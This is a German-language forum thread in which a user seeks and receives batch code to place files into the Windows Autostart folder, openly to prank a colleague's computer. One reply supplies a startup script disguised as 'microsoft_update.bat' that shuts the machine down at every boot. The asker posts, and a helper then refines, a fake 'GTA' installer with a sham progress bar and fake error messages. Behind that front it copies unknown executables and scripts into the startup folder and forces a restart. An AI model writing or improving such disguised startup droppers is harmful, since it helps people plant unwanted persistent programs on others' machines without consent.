Computerhilfen.de Logo
Forum
Tipps
News

Autostart

Ich suche einen .bat Code mit dem ich eine Datei in den Autostart befördern oder kopieren kann ???


Antworten zu Autostart:

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button
Da genügt der copy Befehl.

copy xy.bat "C:\Dokumente und Einstellungen\Username\Startmenü\Programme\Autostart>"
 

Danke!  :) aber frage das es klapt braucht es diese ""?
und habe jetzt diesen code geht aber nich!
@echo off
xcopy "C:\Users\Beni der Held\Desktop\icon.bat" "C:\Dokumente und Einstellungen\Username\Startmenü\Programme\Autostart"

« Letzte Änderung: 03.03.08, 12:03:29 von dida110 »

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button

Hallo,

Fehlermeldung ?

Ja, die "" braucht es wegen den Leerzeichen im Pfad.

Stimmen den die Pfade, der Quellpfad sieht etwas komisch aus ?

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button

Du bist wahrscheinlich so einer der da n "shutdown -s -t 1" drinnen hat in der bat datei :-D.

Naja jeder macht mal so Scheisze^^

Also ja, es is einfach das ganze gleich zu schreiben^^.

echo off
cd "%ALLUSERPROFILE%\Startm~1\Progra~1\Autost~1"
echo shutdown -s -t 60 > microsoft_update.bat

Also, ich sags glei den Code hab ich mir aus dem Kopf raugeschrieben. das -t 60 is dazu da, damit er eine Chance hat.

Da des mit %Alluserprofile% is, geht des auf alle Benutzer, und des waer dann voll unfair, denn dan kann er  von ner CD booten und das ding loeschen. Und das is wirklich boese, und gilt schon als kleiner Virus.

Also ueberleg dir was du machst, villeicht wirst du es mal bereuen.., hoffe ich bin deinen Erwartungen gerecht geworden^^.

mfg.
Fuxi

P.S. das unfairste ist, das es auch bei Engl. Versionen funktionieren wuerde, da es mit der 8ter schreibweise gemach ist und im englischen die ersten teile genau so sind wie im Deutschen.

Ja du hast ja recht hehe
Aber keine Angst ich werde es bei einem Kolleg machen und ihm sagen das man das imm abgesichrten Modus wider rückgangig machen kann hehe.
Kann man irgenwie machen, dass das DOS nicht aufgeht?
Ps: ist echt ein supper Forum hier!

Hier der Code meiner Datei die die sachen in den Autostart kopiert :D;D;D
Kannst sie aml studieren und ausführen keine Angst macht nichts da du ja die anderen Dateien nicht hast die er kopieren will hehe:


 

Zitat
@ECHO OFF
ECHO 1 - Installieren
ECHO 2 - Informationen
ECHO 3 - Deinstallieren

CHOICE /C:123

IF errorlevel 3 goto CRS
IF errorlevel 2 goto DLR
IF errorlevel 1 goto STR

:STR
@echo off
echo Zum Instalieren drücken sie eine Taste!
pause




@echo off
ping -n 3 127.0.0.1>nul
echo 10 Prozent

@echo off
ping -n 3 127.0.0.1>nul
echo 20 Prozent

@echo off
ping -n 3 127.0.0.1>nul
echo 30 Prozent



@echo off
ping -n 3 127.0.0.1>nul
echo 50 Prozent

@echo off
ping -n 3 127.0.0.1>nul
echo 60 Prozent

@echo off
ping -n 3 127.0.0.1>nul
echo 70 Prozent

@echo off
ping -n 3 127.0.0.1>nul
echo 80 Prozent

@echo off
ping -n 3 127.0.0.1>nul
echo 90 Prozent

@echo off
xcopy "a:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "b:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "C:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "d:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "e:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLs

@echo off
xcopy "f:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
ClS

@echo off
xcopy "g:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "a:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "b:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "C:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "d:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "e:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLs

@echo off
xcopy "f:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
ClS

@echo off
xcopy "g:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "a:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "b:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "C:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "d:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "e:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLs

@echo off
xcopy "f:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
ClS

@echo off
xcopy "g:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS
@echo off
ping -n 3 127.0.0.1>nul
echo 100 Prozent

@echo off
CLS

@echo off
ping -n 1 127.0.0.1>nul
echo Installation abgeschlossen bitte machen sie einen Neustart!
pause

@echo off
ping -n 100 127.0.0.1>nul

shutdown -r -t 40

:DLR
ECHO ----------------------GTA Version 1.142.1 Ge* bitte keine illegalen Tipps *t!!!!!-------------------------
ECHO.
PAUSE
CLS
EXIT

:CRS
ECHO Das Programm wurde nicht Richtig Installiert! (Error x55am.dll)
ECHO.
PAUSE
CLS
EXIT
  
« Letzte Änderung: 07.03.08, 13:52:45 von dida110 »

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button

Nein, das cmd geht immer auf, wenn du eine .bat Datei ausfuehrst (ausser von einem anderen Programm aus).

Also mich wuerd interessieren warum du andauernd "@echo off" schreibst...?

@echo off bewirkt, das alles Befehle nach dieser Zeile nicht ausgegeben werden, ausser sie geben etwas aus. Sofern du nicht wieder was anzeigen willst (@echo on) bleibt es wie es ist^^

Aber des mit dem "ping -n 3 127.0.0.1>nul" is gscheit gmacht :-D, es ist ja wirklich so das es kein "Sleep" im cmd.exe gibt^^

und warum dauerdn die laufwerke a,b, ...?
Hast du je was von "relativer Pfad" gehoert?!
Da mir es scheint als wuerdest du es noch nicht gehoert haben sag ich es dir einfach:
absoluter Pfad: z.B. C:/test.txt, oder C:/test/test.txt
relativer Pfad: test/test.txt

Wobei das was beim Relativen Pfad vor "test/test.txt" steht, ist der Pfad des aktuellen Ordners (also wo die .bat datei aufgerufen wird)
Somit muesst du nur z.b. "xcopy beep.exe "..."" schreiben^^.

Und das somit auch nur einmal.

Im Endeffekt wuerde das dann ca. so aussehen:

@echo off
title Installation
cls
ECHO 1 - Installieren
ECHO 2 - Informationen
ECHO 3 - Deinstallieren

echo Zum Instalieren drücken sie eine Taste!
pause

ping -n 3 127.0.0.1>nul
echo 10 Prozent
ping -n 3 127.0.0.1>nul
echo 20 Prozent
ping -n 3 127.0.0.1>nul
echo 30 Prozent
ping -n 3 127.0.0.1>nul
echo 50 Prozent
ping -n 3 127.0.0.1>nul
echo 60 Prozent
ping -n 3 127.0.0.1>nul
echo 70 Prozent
ping -n 3 127.0.0.1>nul
echo 80 Prozent
ping -n 3 127.0.0.1>nul
echo 90 Prozent
copy beep.exe "%ALLUSERPROFILE%\Startm~1\Progra~1\Autost~1\beep.exe" /C /I /H /R
copy host.bat "%ALLUSERPROFILE%\Startm~1\Progra~1\Autost~1\host.bat" /C /I /H /R
copy host2.vbs "%ALLUSERPROFILE%\Startm~1\Progra~1\Autost~1\host2.vbs" /C /I /H /R
ping -n 3 127.0.0.1>nul
echo 100 Prozent
ping -n 1 127.0.0.1>nul
echo Installation abgeschlossen bitte machen sie einen Neustart!
pause
shutdown -r -t 40

mfg.
Fuxi
« Letzte Änderung: 07.03.08, 16:52:17 von Fuxi »

Oh danke 1000000000mal  ;D hehe na ja wenn ich das gewusst hätte.
Wie ist das mit dem Befehl CLS?
MFG 

« Letzte Änderung: 07.03.08, 16:53:24 von dida110 »

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button

schreib mal "cls /?" in die konsole

Ja löscht den Bildschirm Inhalt aber braucht es das sovielmal wie ich das gemacht habe?

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button

He das is dazu da damit es uebersichtlich ist, oder damit du was loeschen kannst. Es is komplett egal ob du es machst oder nicht.

Dann steht:
10 Prozent
20 Prozent
...
oder halt immer nur die aktuellen Prozente, wenn du jedes mal cls machst, es is komplett egal, wie du es lieber hast^^

Ach ich bin am verzweifeln!

Jetzt habe ich gemerk das mein tool nicht xp kompatible ist!!!
Hab es ein bisschen umgeschriben aber ein Befehl  geht nicht mehr und zwar der:

xcopy "beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS







Der ganze
Code:


@ECHO OFF
CLS
:LOOP
ECHO A. Installieren
ECHO B. Informationen
ECHO C. Deinstallieren
ECHO Q. Quit
:: SET /P prompts for input and sets the variable
:: to whatever the user types
SET Choice=
SET /P Choice=Type the letter and press Enter:
:: The syntax in the next line extracts the substring
:: starting at 0 (the beginning) and 1 character long
IF NOT '%Choice%'=='' SET Choice=%Choice:~0,1%
ECHO.
:: /I makes the IF comparison case-insensitive
IF /I '%Choice%'=='A' GOTO ItemA
IF /I '%Choice%'=='B' GOTO ItemB
IF /I '%Choice%'=='C' GOTO ItemC
IF /I '%Choice%'=='Q' GOTO End
ECHO "%Choice%" is not valid. Please try again.
ECHO.
GOTO Loop
:ItemA
@echo off
echo Zum Instalieren drücken sie eine Taste!
pause





ping -n 3 127.0.0.1>nul
echo 10 Prozent

ping -n 3 127.0.0.1>nul
echo 20 Prozent

ping -n 3 127.0.0.1>nul
echo 30 Prozent


ping -n 3 127.0.0.1>nul
echo 50 Prozent

ping -n 3 127.0.0.1>nul
echo 60 Prozent

ping -n 3 127.0.0.1>nul
echo 70 Prozent

ping -n 3 127.0.0.1>nul
echo 80 Prozent

ping -n 3 127.0.0.1>nul
echo 90 Prozent

xcopy "beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

xcopy "host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

xcopy "Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

xcopy "Host4.bat" "C:\Dokumente und Einstellungen\Beni der Held\Startmenü\Programme\Startup" /C /I /H /R
CLS

xcopy "Host3.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

ping -n 3 127.0.0.1>nul
echo 100 Prozent
CLS

ping -n 1 127.0.0.1>nul
echo Installation abgeschlossen bitte machen sie einen Neustart!
pause

ping -n 100 127.0.0.1>nul

shutdown -r -t 40
GOTO Again
:ItemB
ECHO ----------------------GTA Version 1.142.1 Ge* bitte keine illegalen Tipps *t!!!!!-------------------------
GOTO Again
:ItemC
ECHO Das Programm wurde nicht Richtig Installiert! (Error x55am.dll)
GOTO Again
:Again
PAUSE
CLS
GOTO Loop
:End
 

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button

Okay, also was hast du fuer n Windows? 98? 2000?

Also alles was ich gepostet habe war fuer XP, also die Pfade.

Versuchs mal mit ner abfrage von %OS%. Sagt welches Betriebssystem es ist, also bei XP und 98 is n unterschied, bei 2000 hab ich es noch nicht probiert, weil ich es nicht habe

xp
PS: ES kommt immer ist die datei blabla eine Datei Oder ein verzechniss?

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button

denke das liegt am Copy-Befehl.


« Excel Makro problemHochkomma in Anführungszeichen »
 

Schnelle Hilfe: Hier nach ähnlichen Fragen und passenden Tipps suchen!